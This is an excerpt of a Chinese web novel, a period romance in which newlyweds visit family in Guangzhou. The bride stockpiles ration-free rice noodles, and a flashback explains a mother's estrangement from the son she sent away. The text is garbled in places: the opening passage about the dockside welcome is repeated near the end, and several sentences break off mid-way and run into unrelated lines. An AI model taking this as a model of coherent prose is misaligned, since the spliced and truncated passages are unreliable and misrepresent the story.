没想到接待水平远不止于此,这老两口居然亲自跑来码头上迎接他们了! 在吴峥嵘为双方做了介绍后,叶满枝大方而热情地喊了爸爸妈妈。 老吴高兴地哈哈笑,连声应好,还在码头上呢,就给了儿媳妇一个改口大红包。 叶满枝摸着那红包的厚度,估摸应该不比当初的见面礼少。 她婆婆这次似乎也亲切了一些,虽然话还是不多,但是认真询问了他们旅途上的情况。 因着市里正在组织反对英美侵略中东的游行,一路上的话题多是围绕时事展开的。 再加上有亲外孙胖崽活跃气氛,初次见面的双方谈话还算融洽。 沿海城市的雨水说来就来,雨滴落在车窗上,让叶满枝没太看清驻地附近的环境,等 她从车上下来,冒雨跑进公婆的住处时,连房子的外观都没弄清,就稀里糊涂进门了。 吴峥嵘正想说先带她回房间把湿衣服换下来,外面刚合上的大门却再次被人推开,有个中年女人撑着伞走了进来。 “孙校长在家么?” 孙汝珍招呼道“我们也是刚回来,刘主任快请进吧!” 家里突然来了客人,叶满枝是儿媳妇,现在离开未免显得没有礼貌。 于是就笑着陪坐在一旁待客。 对方是军区副司令的爱人,这次来吴家,是想请刚退休的孙汝珍重新出山,与其他家属一起筹办一所幼儿园。 孙汝珍刚把儿子儿媳接回来,之后还要一起相处好几天,现在哪有工夫想什么幼儿园的事。 听了对方的请求,就想以招待小夫妻为由婉拒对方。 见她脸上露出迟疑,叶满枝心里有些着急,她很想说,您不要管我们了,还是以大局为重,出去搞事业吧。 这样她也能心安理得地跟吴峥嵘出去吃吃喝喝,到处潇洒了。 作者有话要说 一百个红包,明天见~ 第81章小夫妻上岛了 叶满枝很快就惊喜地发现,胖墩墩不但能当摄影师,还能兼职翻译和向导。 别看人家年纪不大,但人家能讲一口流利的广东话。 在良宇的带领下,叶满枝和吴峥嵘走街串巷,把胖墩本人亲自认证的美食一一尝过。 最重要的是,叶满枝因此买到了一百斤干河粉! 这次出远门,她把家里的全部现金都带在了身上,还额外跟五哥借了一百块周转。 除了想满足口腹之欲,还想利用“给家人朋友送礼”的借口,多储备一些物资。 按照她的计划,到了南方要多买些海鲜干货,便宜、易保存,还是荤菜。 可是发现广州的国营饭店不要票以后,她又动了别的心思。 当初滨江的国营饭店不要票时,相应的粮食制品,比如挂面、鲜切面也不要票。 她让良宇小朋友帮忙询问供销社售货员,听说柜台边摆放的那些干河粉也不要票以后,果断买了一百斤。 良宇还体贴地帮她跟售货员解释,小舅和小舅妈是外地来的,想带河粉回家给亲戚们尝尝。 “小叶主任,”吴峥嵘被媳妇的大手笔震惊了,“你买这么多河粉干什么?河粉是大米做的,爸妈他们未必吃得惯,买十来斤给大家尝尝鲜就够了。” 北方习惯吃面食,供销社从没卖过河粉。 “我觉得好吃的东西,我爸妈肯定也觉得好吃。刚才吃的炒河粉和汤河粉都不错呀,反正都是粮食做的,有什么吃不惯的。”叶满枝拍拍他的肩膀,“就是要辛苦军代表同志,到时候还得指望你把这一袋子河粉带回滨江去。” 吴峥嵘劝不动媳妇,也不打算扛着河粉回滨江。 从供销社出来以后,他直接走进对面的邮局,办理了邮寄。 “还是你有办法!” 叶满枝一边表扬军代表同志,一边在单子上填了自家地址。 邮寄的速度极慢,等他俩结束旅行返回滨江时,这个包裹可能还在路上呢。 不过叶满枝并不嫌它又贵又慢,将一百斤河粉寄出以后,经过另一家供销社的时候,她再次买了一百斤干河粉。 吴峥嵘“……” 河粉好吃到这种程度吗? 他媳妇只是吃了一盘炒河粉,就要采购两百斤干河粉回家…… 叶满枝只当没见到他的古怪眼神,硬着头皮再次去邮局办理了邮寄。 这回她多长了一个心眼,以防这么多粮食被人中途截留,她将一百斤的河粉分成三个包裹,地址分别填了16号院、老叶家和五哥家。 让人一看就觉得是给亲戚邮寄的。 当她经过第三个供销社,还想故技重施的时候,吴峥嵘终于看不下去了,劝阻道“总吃河粉你不嫌腻吗?” “不腻啊,米饭馒头也是天天吃的,怎么会腻?” 叶满枝腹诽,这可是正经粮食,能填饱肚子就是对它唯一的要求。 她其实也不想这样大费周章,采购几百斤河粉回滨江,加上路上的运费和损耗,并不比在滨江本地买挂面便宜。 可是,这是她目前能找到的,唯一大宗采购粮食的机会! 她之前储备的那些粮食,只能暂时 放在地窖里,但这些干河粉在吴峥嵘面前过了明路,就可以大大方方放在家里保存了。 吴峥嵘不知她在想什么,沉吟一阵后,建议道“两百斤河粉够吃很长时间了,要不你买点排粉吧。” 好歹能换换花样。 “……”以为还要浪费一番唇舌的叶满枝惊喜地问,“你怎么不阻止我啦?” “你喜欢吃就买吧。再说,在家多存一些粮食有备无患。” 对于粮食的问题,吴峥嵘有自己的考量。 粮食统购统销限量供应,也就是这两年的事。 之前只在几个省市试点推行,现在却是全国所有城镇都开始使用粮票了,而且对体力劳动者和脑力劳动者的定额做了很详细的区分。 足可见粮食供应紧张是全国性的问题。 他俩的粮票大多用在了单位食堂,家里几乎没什么存粮。 叶来芽买这些河粉,虽然运输麻烦,但不要票的粮食制品还是有采购价值的。 叶满枝按照他的建议,买了一百斤排粉寄回滨江。 再一次走出邮局时,不禁在心里感叹,跟聪明人讲话太省心了,她这边还没想出说辞呢,人家已经自动帮她找好理由了! 叶满枝心情激动,伸手将胖墩墩的脑袋扭向另一边,而后在邮局旁的巷子里,偷偷啵了军代表同志一口。 吴峥嵘“……” 买点河粉就这么高兴? 竟然敢在光天化日之下主动亲他了! 良宇捧着汽水瓶子问“小舅妈,你拧我脑袋干嘛?” “哦,那边有个糖水店,你要不要吃芝麻糊?” * 顺利买到三百斤的河粉和排粉,让叶满枝心里愈加放松了,跟着小外甥到处转悠了一下午,吃过晚饭才将人交到大姐夫手里。 忙碌了一天的叶满枝又累又困,只想回招待所睡觉,然而她这边刚从公共浴室出来,大姐就找上了门。 “小叶,你们滨江那边真有自行车的货源?” 吴岱岚下班回家,见到儿子带回的那个字条,便马不停蹄赶了过来。 “有啊,不过只是一个中等规模的工厂,今年刚开始试制自行车,暂时没什么名气。” 叶满枝一边擦头发,一边向她介绍了第3五金社的情况。 “而且省里对自行车的供应管得挺严,不拿其他物资跟我们交流的话,恐怕行不通。大姐,那条子你看了吧?能找到相关货源么?” “常州篦子和福州牛角梳的产量低名气大,一直是紧俏货,我们百货商店也很难采购,不过,山苍子油倒是能想想办法。” 山苍子油是制作香皂和化妆品香精的原料。 现在每个省市几乎都有日化厂,山苍子油也是紧俏物资,一般人还真不好找到货源。 但吴岱岚是当百货商店供销科长的,采购自行车、手表、缝纫机的时候,她得求着各大工厂。 轮到采购普通日用品,尤其是计划外日用品时,就是别人来求她了。 吴岱岚没有山苍子油的货源,可是各大日化厂肯定是有储备的。 她找个本地日化厂匀一些山苍子油转卖给滨江,这事未必不能成。 反正她只要两三百台自行车,既然是双方交流物资,那山苍子油也不用给太多。 吴岱岚将自己这边的情况介绍了一下,又说“小叶,你把滨江那边的负责人介绍给我,我自己去跟他们联系。你们好不容易来广东一趟,还是珍惜时间到处走走看看,我的事你就别费心了。” 她这小弟妹真是热心肠,第一次见面就愿意帮她解决麻烦,甭管事情成不成,等弟弟两口子返回滨江的时候,她得准备点东西给小两口带回去。 叶满枝如实道“我找的是滨江商业局的物资处长,不过我们是在火车上认识的,之前没啥交情。大姐你跟她谈的时候,可能得下些功夫。” 反正她这种小干部,在领导那里是没什么面子的,这一点得跟大姑姐解释清楚。 …… 叶满枝和吴峥嵘在广州吃吃喝喝玩了四天,等到老吴打长途电话给女儿,委婉询问小儿子的情况时,他俩才不紧不慢地收拾行李,带着专用摄影师一起登船上岛了。 小两口过二人世界,还愿意帮她带孩子,吴岱岚真是不知说什么才好。 这个弟媳妇真是没得挑,她得打电话跟亲妈念叨念叨。 是的,她觉得小两口愿意带上良宇一起出行,一定是叶满枝的功劳。 她那个弟弟是什么脾气,她还是清楚的,正面瞧着挺和气,背面的尾巴却恨不得翘到天上去。 让他陪孩子待一会儿还行,若想让他长时间带孩子,那是万万不可能的。 吴峥嵘确实不耐烦陪孩子玩,但胖墩墩的良宇有自己的价值,他还挺愿意带上这个外甥的。 “小舅妈,你的头发吹乱了,你跟我小舅换一下位置,让他帮你挡风!” 叶满枝憋着笑,换到吴峥嵘另一侧,理了理头发问“这样行不?” “还行,小舅,你怎么不笑呀?” 胖崽摄影师比照相馆的老师傅上道多了,经常要求二人微笑、大笑、咧嘴笑。 尤其是听他妈说过胶卷特别贵,一张胶片差不多能买两个牛脷酥的时候,他拍每张相片之前都要提醒小舅笑一笑。 叶满枝已经迫不及待想要看看成片了,胖崽摄影师拍出的效果肯定很不错。 她遇到的几位摄影师里,只有小朋友良宇会要求他们挨近一些,多笑一笑。 胖崽真可爱! 叶满枝在甲板上掏出三块酥糖,塞给吴峥嵘和胖崽每人一块,“良宇,你经常去看姥姥姥爷吗?那边的环境怎么样?” “以前常去,后来我姥姥没工作了,我就不爱去了。环境还行呀,离海边不远,我喜欢下海游泳,但我姥爷总是不让。” 叶满枝愣了一下,问“你姥姥怎么没工作了?” 她记得她婆婆好像是小学校长来着,谁敢把她这个校长撸了啊? 良宇坐在长椅上,惬意地晃悠脚丫子,“反正就是没工作,不上班了呗。” 吴峥嵘替外甥翻译“他姥姥退休了。” “什么时候的事啊?” “好像是前几个月吧,我之前也不知道,还是昨天听姐夫说的。” 胖崽继续透露“我姥姥不上班以后,一点也不好,我干什么她都不允许!我妈说我姥姥现在是更年期了。” 叶满枝心想,以前人家天天上班,没工夫管家里这些孩子,如今退休有了精力,可不是要关心一下孩子们么。 这个消息让她小小紧张了一下。 按照他们原本的计划,大家白天都要上班,他俩可以在家或出门自由活动。 可是,她婆婆退休以后,肯定大部分时间要待在家里的。 那岂不是要每天跟她在家大眼瞪小眼? 如果婆婆是大姑姐那样的性格,她还挺乐意与对方相处的。 但是,通过仅有的一次见面笑的人。 确实比较符合她刻板印象中的小学校长形象。 叶满枝挨着吴峥嵘,悄声问“咱妈退休了,咱俩还能出去玩吗?” “她退休,跟咱俩出去玩有什么关系?” “咱们休的是探亲假,她要是上班也就算了,既然退休在家了,总要趁着这个机会好好相处一下吧?” 吴峥嵘望着汹涌的浪涛,语气很随意地说“咱们是小辈,这种事轮不到咱们操心。你到时候跟着我,见机行事即可。” 叶满枝暗道,对哦,吴峥嵘是亲儿子,她只是个儿媳妇,凡事跟着吴峥嵘就行了。 * 另一边的吴政委家里。 吴淮年也在与老伴谈论两个孩子。 “你穿这件就可以了,不要再换了!两个孩子结婚的时候,咱们没有出席,这次儿子第一次带着媳妇回,“老孙同志,请你提高效率,今天外面堵车,咱们要提前两小时出发。” “你还没出门,就知道外面堵车?” “小刘提前汇报过了,市里有游行队伍,车子不好开。” 孙汝珍惊讶地转身问“怎么又有游行?又有哪里出事了?” “英美侵略中东了。”吴淮年再次看手表,催促道,“你可快一点吧,今天不要迟到!” 孙汝珍侧身做到旁边的椅子上,与他商量“老吴,要不你代表我去吧?我就不去了。” “咱不是说好了吗?一起去接儿媳妇!” 空气安静了十多秒,吴淮年叹口气说“峥嵘虽然不是在咱们身边长大的,但毕竟是你亲生的。跟孩子见面的时候,咱们要有个当父母的样子,即使不亲热,也不能太疏离吧?” 老吴觉得自己跟儿子虽然见面不多,但常有书信和电话往来,父 子关系还是比较亲热的。 但老孙同志在这方面的表现,远不如他。 儿子带媳妇回家,这么大的事,她居然临阵打退堂鼓了! “你不要总是对以前的事情心存芥蒂,咱家这种情况是时代造成的,那个年月有多少家庭分崩离析,咱们都能好好活着,已经很幸运了,只能说是造化弄人吧。” 当年大哥牺牲的消息传来后,他和老三很快便意识到世道艰险,为各自的身后事做了打算,还把年龄最小的峥嵘送回了老家,算是给老吴家留个香火。 结果亲儿子刚被他送回老家不到一年,大哥的两个儿子就被人送来了他身边。 大嫂在大哥牺牲后一病不起,拖了半年多,也撒手人寰了。 那个年月,他们三兄弟为了工作分散在各地,通讯极其不便。 若是早知大嫂带着孩子回娘家,会是这样的结果,他早该把这母子三人送回滨江去。 这会儿再想找机会送侄子回去,已经很不安全了。 当时日军全面侵占东北,路上兵荒马乱的,大哥只留下这两个儿子,万一在路上出了岔子,他以后怎么跟大哥大嫂交代? 于是就只能暂时将侄子留在身边抚养,把小儿子放在了父母身边。 也许孩子们都受过委屈,但这么多年下来,老吴觉得自己问心无愧,对得起任何人。 跟四个儿女和两个侄子也都相处得不错。 唯一的遗憾就是老孙同志,不知她是怎么回事,面对小儿子的时候总是冷冷淡淡的。 “当年送孩子回老家是我的决定,你不用自责,孩子也从来没有怪过你,对咱们这对父母也算孝顺,你还有什么不满足的?”吴淮年再次催促,“快点换衣服吧,咱们一起去接儿媳妇!” 孙汝珍坐在椅子上没动地方。 送孩子回老家,确实是老吴的决定。 但他最初想送回去的,其实是大儿子峻岭,老吴想把已经懂事的长子送回老家。 可是,最大的一双儿女,陪她熬过了一段最艰难的日子,她对长子和长女的感情是最深的。 听说老吴想将儿子送走,孙汝珍的第一反应就是强烈反对,想尽办法想把大儿子留在身边。 老吴铁了心要送走一个孩子,于是她慌乱之下,便提议将两岁的小儿子送回去。 两岁多的孩子,正是让父母最费心的时候,吴峥嵘自打能说会走以后,就没有闲下来的时候,比他哥哥姐姐都淘气。 那么小的孩子,动不动就自己开门跑到胡同里去了。 孙汝珍当时的大部分精力都花在这个小儿子身上,这孩子旺盛的精力,时常闹得她精疲力尽。 所以,能把小儿子送回老家,交给祖父母抚养,对孙汝珍来说也算是另一种解脱。 她还记得那孩子被抱走的时候,一声也没哭,也不像往常那样妈妈妈妈喊个不停,只是安静趴在大人的肩上,用一双乌溜溜的眼睛望着她。 她当然舍不得孩子,只是无奈之下,在大儿子和小儿子中,选择了前者。 小儿子被送走了,她哭得泣不成声,午夜梦回时,总能想到幼童那双乌黑明亮的眼睛。 她那时还不觉得怎样,后,“峥嵘跟他大伯小时候一样聪明,两三岁时背过两遍的唐诗,到七八岁还能记着呢。” 孙汝珍说不清当时是什么心情。 她没有为儿子的聪颖而欣喜,她只是突然感觉手脚冰凉。 峥嵘很聪明,两三岁学过的唐诗,他能一直记着。 那她跟老吴建议的,让小儿子替换大儿子回老家的话,他是不是也一直记得? 峥嵘两岁前跟他们夫妻住在一起,大人觉得小孩子不懂事,谈话时从不避着他。 他对大人的谈话也许是有印象的。 这些年老吴找过不少机会,想帮她缝合与儿子的关系。 孙汝珍也尝试着跟儿子解释些什么。 可是每当她想要开口的时候,面前那双仿佛能洞察一切的眸子,总能与她梦里那双孩童的眼睛重合,将她所有的话都堵在喉咙里。 他们之间的隔阂从来不是养在她跟老吴身边的两个侄子。 而是她当年选择了吴峻岭,放弃了吴峥嵘。 这也许是他们母子之间心照不宣的秘密,解释太多,反而显得她很虚伪。 吴淮年不知老伴心里的芥蒂,帮她挑了件端庄的裙装后,又一 次催促“快走吧,今天第一次见儿媳妇,咱们绝对不能迟到!儿子都那么大了,你跟他没话说也无所谓,这回不是有了儿媳妇嘛,只要能跟儿媳妇好好相处,跟儿子也就慢慢亲热起来了。” * 叶满枝本以为公公能派个车来接他们回家就不错了,毕竟今天是工作日,大家都要上班的。 没想到接待水平远不止于此,这老两口居然亲自跑来码头上迎接他们了! 在吴峥嵘为双方做了介绍后,叶满枝大方而热情地喊了爸爸妈妈。 老吴高兴地哈哈笑,连声应好,还在码头上呢,就给了儿媳妇一个改口大红包。 叶满枝摸着那红包的厚度,估摸应该不比当初的见面礼少。 她婆婆这次似乎也亲切了一些,虽然话还是不多,但是认真询问了他们旅途上的情况。 因着市里正在组织反对英美侵略中东的游行,一路上的话题多是围绕时事展开的。 再加上有亲外孙胖崽活跃气氛,初次见面的双方谈话还算融洽。 沿海城市的雨水说来就来,雨滴落在车窗上,让叶满枝没太看清驻地附近的环境,等她从车上下来,冒雨跑进公婆的住处时,连房子的外观都没弄清,就稀里糊涂进门了。 吴峥嵘正想说先带她回房间把湿衣服换下来,外面刚合上的大门却再次被人推开,有个中年女人撑着伞走了进来。 “孙校长在家么?” 孙汝珍招呼道“我们也是刚回来,刘主任快请进吧!” 家里突然来了客人,叶满枝是儿媳妇,现在离开未免显得没有礼貌。 于是就笑着陪坐在一旁待客。 对方是军区副司令的爱人,这次来吴家,是想请刚退休的孙汝珍重新出山,与其他家属一起筹办一所幼儿园。 孙汝珍刚把儿子儿媳接回来,之后还要一起相处好几天,现在哪有工夫想什么幼儿园的事。 听了对方的请求,就想以招待小夫妻为由婉拒对方。 见她脸上露出迟疑,叶满枝心里有些着急,她很想说,您不要管我们了,还是以大局为重,出去搞事业吧。 这样她也能心安理得地跟吴峥嵘出去吃吃喝喝,到处潇洒了。 作者有话要说